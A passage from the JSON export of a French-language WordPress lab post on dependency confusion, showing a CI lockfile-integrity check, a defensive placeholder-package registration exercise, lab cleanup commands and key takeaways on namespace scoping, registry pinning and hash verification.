uses: actions\/setup-node@v4\n        with:\n          node-version: '20'\n\n      - name: Verify lockfile is up to date\n        run: |\n          # Sauvegarder le hash actuel du lockfile\n          BEFORE=$(sha256sum package-lock.json | cut -d' ' -f1)\n          \n          # Ex\u00e9cuter npm install (qui peut mettre \u00e0 jour le lockfile)\n          npm install --package-lock-only\n          \n          # Comparer\n          AFTER=$(sha256sum package-lock.json | cut -d' ' -f1)\n          \n          if [ \"$BEFORE\" != \"$AFTER\" ]; then\n            echo \"::error::package-lock.json n'est pas synchronis\u00e9 avec package.json !\"\n            echo \"::error::Cela pourrait indiquer une alt\u00e9ration de d\u00e9pendance ou un commit manquant.\"\n            echo \"Ex\u00e9cutez 'npm install' localement et committez le lockfile mis \u00e0 jour.\"\n            git diff package-lock.json\n            exit 1\n          fi\n          \n          echo \"Int\u00e9grit\u00e9 du lockfile v\u00e9rifi\u00e9e.\"\n\n      - name: Install with npm ci\n        run: npm ci\n\n      - name: Run tests\n        run: npm test<\/code><\/pre>\n<p>Ce workflow d\u00e9tecte deux sc\u00e9narios : (1) un d\u00e9veloppeur a oubli\u00e9 de committer les modifications du lockfile apr\u00e8s une mise \u00e0 jour des d\u00e9pendances, et (2) un attaquant a soumis une PR qui modifie <code>package.json<\/code> sans les mises \u00e0 jour correspondantes du lockfile, introduisant potentiellement un vecteur de confusion de d\u00e9pendances.<\/p>\n<h2>Exercice 6 : D\u00e9fense \u2014 Enregistrement d\u00e9fensif<\/h2>\n<p>Une d\u00e9fense pragmatique utilis\u00e9e par de nombreuses grandes organisations consiste \u00e0 enregistrer proactivement les noms de vos packages internes sur les registres publics avant qu&rsquo;un attaquant ne le fasse.<\/p>\n<h3>La strat\u00e9gie<\/h3>\n<p>Si votre organisation utilise des packages internes comme <code>auth-utils<\/code>, <code>internal-logger<\/code> ou <code>company-config<\/code>, un attaquant pourrait publier des packages portant ces noms exacts sur npmjs.com ou PyPI. Pour emp\u00eacher cela, vous publiez vous-m\u00eame des packages de substitution :<\/p>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/placeholder-pkg\ncd ~\/dep-confusion-lab\/placeholder-pkg<\/code><\/pre>\n<p>Cr\u00e9ez un <code>package.json<\/code> minimal :<\/p>\n<pre><code>{\n  \"name\": \"auth-utils\",\n  \"version\": \"0.0.1\",\n  \"description\": \"This package name is reserved. This is a defensive registration to prevent dependency confusion attacks. If you are looking for internal auth-utils, please contact your organization's platform team.\",\n  \"main\": \"index.js\",\n  \"keywords\": [\"reserved\", \"placeholder\"],\n  \"license\": \"UNLICENSED\"\n}<\/code><\/pre>\n<p>Cr\u00e9ez un <code>index.js<\/code> minimal :<\/p>\n<pre><code>console.warn(\n  'WARNING: This is a placeholder package. ' +\n  'If you are seeing this message, your project may be misconfigured. ' +\n  'Contact your platform team for the correct registry configuration.'\n);\nmodule.exports = {};<\/code><\/pre>\n<p>Dans un sc\u00e9nario r\u00e9el, vous publieriez ceci sur le v\u00e9ritable registre npm public :<\/p>\n<pre><code># UNIQUEMENT EN CONDITIONS R\u00c9ELLES (pas dans ce lab) :\n# npm publish --access public\n\n# Pour ce lab, publiez sur notre registre public simul\u00e9 :\nnpm publish --registry http:\/\/localhost:4874<\/code><\/pre>\n<p>Le package de substitution garantit que si quelqu&rsquo;un installe le <code>auth-utils<\/code> non scop\u00e9 depuis le registre public, il obtiendra votre substitution inoffensive (\u00e0 la version <code>0.0.1<\/code>) au lieu du package malveillant d&rsquo;un attaquant.<\/p>\n<h3>Consid\u00e9rations importantes<\/h3>\n<ul>\n<li><strong>Maintenez la propri\u00e9t\u00e9 :<\/strong> Assurez-vous que le compte npm de votre organisation publie et poss\u00e8de le package de substitution. Utilisez les fonctionnalit\u00e9s d&rsquo;organisations et d&rsquo;\u00e9quipes de npm pour un acc\u00e8s multi-utilisateurs.<\/li>\n<li><strong>Plafond de version :<\/strong> Gardez le package de substitution \u00e0 <code>0.0.1<\/code>. Votre registre interne contient les v\u00e9ritables versions.<\/li>\n<li><strong>Automatisez l&rsquo;inventaire :<\/strong> Scriptez le processus pour extraire tous les noms de packages priv\u00e9s de votre registre et les v\u00e9rifier par rapport aux registres publics. Signalez tout nom non revendiqu\u00e9 sur les registres publics.<\/li>\n<li><strong>Combinez avec le scoping :<\/strong> L&rsquo;enregistrement d\u00e9fensif est une mesure de pr\u00e9caution suppl\u00e9mentaire. La d\u00e9fense principale devrait rester le scoping par espace de noms et le verrouillage de registre.<\/li>\n<\/ul>\n<h2>Nettoyage<\/h2>\n<p>Apr\u00e8s avoir termin\u00e9 le lab, supprimez tous les conteneurs, fichiers et configurations :<\/p>\n<pre><code># Arr\u00eater et supprimer les conteneurs Docker\ndocker stop private-registry public-registry pypi-private pypi-public\ndocker rm private-registry public-registry pypi-private pypi-public\n\n# Supprimer le r\u00e9pertoire du lab\nrm -rf ~\/dep-confusion-lab\n\n# D\u00e9sactiver l'environnement virtuel Python (si actif)\ndeactivate\n\n# Supprimer les modifications .npmrc apport\u00e9es \u00e0 votre r\u00e9pertoire personnel\n# (Uniquement si vous avez modifi\u00e9 ~\/.npmrc pour ce lab)\n# Restaurez votre .npmrc original si vous l'avez sauvegard\u00e9<\/code><\/pre>\n<p><strong>Important :<\/strong> V\u00e9rifiez bien qu&rsquo;aucune modification de <code>.npmrc<\/code> ou <code>pip.conf<\/code> ne subsiste pointant vers des registres <code>localhost<\/code>. Cela pourrait provoquer des erreurs d\u00e9routantes dans vos vrais projets.<\/p>\n<h2>Points cl\u00e9s \u00e0 retenir<\/h2>\n<ul>\n<li><strong>La confusion de d\u00e9pendances exploite l&rsquo;ambigu\u00eft\u00e9 des espaces de noms :<\/strong> Lorsque les registres priv\u00e9s et publics partagent un espace de noms plat, un attaquant peut d\u00e9tourner la r\u00e9solution de packages en publiant un package de version sup\u00e9rieure sur le registre public.<\/li>\n<li><strong>Le scoping par espace de noms est la d\u00e9fense la plus solide pour npm :<\/strong> Les packages scop\u00e9s (<code>@votreorg\/nom-du-package<\/code>) sont li\u00e9s \u00e0 un registre sp\u00e9cifique et ne peuvent pas \u00eatre d\u00e9tourn\u00e9s via un fallback vers un registre public.<\/li>\n<li><strong>Le verrouillage de registre \u00e9limine le risque de fallback pour pip :<\/strong> Utiliser <code>--index-url<\/code> sans <code>--extra-index-url<\/code> garantit que pip ne consulte que votre registre priv\u00e9 de confiance.<\/li>\n<li><strong>La v\u00e9rification par hash fournit des garanties cryptographiques :<\/strong> Tant <code>npm ci<\/code> avec v\u00e9rification d&rsquo;int\u00e9grit\u00e9 du lockfile que <code>--require-hashes<\/code> de pip rejettent tout artefact ne correspondant pas au hash attendu, quel que soit le num\u00e9ro de version.<\/li>\n<li><strong>La discipline du fichier de verrouillage est essentielle en CI\/CD :<\/strong> Utilisez toujours <code>npm ci<\/code> (et non <code>npm install<\/code>) dans les pipelines, et ajoutez des v\u00e9rifications automatis\u00e9es pour d\u00e9tecter les modifications inattendues du lockfile.<\/li>\n<li><strong>L&rsquo;enregistrement d\u00e9fensif est une mesure compl\u00e9mentaire pratique :<\/strong> Revendiquer les noms de vos packages internes sur les registres publics emp\u00eache les attaquants de les squatter, vous laissant le temps de mettre en place des d\u00e9fenses structurelles plus solides.<\/li>\n<\/ul>\n<h2>Prochaines \u00e9tapes<\/h2>\n<p>Maintenant que vous avez une exp\u00e9rience pratique des attaques de confusion de d\u00e9pendances et de leurs d\u00e9fenses, poursuivez votre apprentissage avec ces guides approfondis :<\/p>\n<ul>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/dependency-confusion-artifact-poisoning-attacks-defenses\/\">Confusion de d\u00e9pendances et empoisonnement d&rsquo;artefacts<\/a> \u2014 Un guide complet couvrant la th\u00e9orie, les incidents r\u00e9els et les d\u00e9fenses de niveau entreprise contre la confusion de d\u00e9pendances et les attaques associ\u00e9es d&#8217;empoisonnement d&rsquo;artefacts.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/build-integrity-reproducible-builds-ci-cd\/\">Int\u00e9grit\u00e9 du build et builds reproductibles<\/a> \u2014 Apprenez \u00e0 garantir que votre pipeline CI\/CD produit des artefacts de build v\u00e9rifiables et inalt\u00e9rables gr\u00e2ce aux builds reproductibles, \u00e0 la provenance SLSA et \u00e0 l&rsquo;attestation de la cha\u00eene d&rsquo;approvisionnement.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Vue d&rsquo;ensemble La confusion de d\u00e9pendances est une attaque de la cha\u00eene d&rsquo;approvisionnement qui exploite la mani\u00e8re dont les gestionnaires de paquets r\u00e9solvent les noms de packages lorsque des registres priv\u00e9s (internes) et publics sont configur\u00e9s simultan\u00e9ment. Lorsqu&rsquo;un attaquant publie un package malveillant sur un registre public en utilisant le m\u00eame nom qu&rsquo;un package priv\u00e9 &#8230; <a title=\"Lab : Simulation d&rsquo;une Attaque de Confusion de D\u00e9pendances dans un Environnement Sandbox\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-simulating-dependency-confusion-attack-sandbox\/\" aria-label=\"En savoir plus sur Lab : Simulation d&rsquo;une Attaque de Confusion de D\u00e9pendances dans un Environnement Sandbox\">Lire la suite<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49,54],"tags":[],"post_folder":[],"class_list":["post-521","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/521","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/comments?post=521"}],"version-history":[{"count":2,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/521\/revisions"}],"predecessor-version":[{"id":577,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/521\/revisions\/577"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media?parent=521"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/categories?post=521"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/tags?post=521"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/post_folder?post=521"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}